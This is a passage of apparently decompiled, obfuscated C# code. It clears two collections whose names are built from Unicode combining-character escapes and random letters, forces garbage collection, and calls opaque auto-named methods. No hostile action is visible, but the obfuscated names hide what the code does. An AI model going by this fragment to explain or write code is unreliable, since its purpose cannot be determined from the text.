            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
            Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
            GC.Collect();
            Class_82.vmethod_245(str_, "s");
            Class_82.cmethod_244();
            Class_81.smethod_240();
        }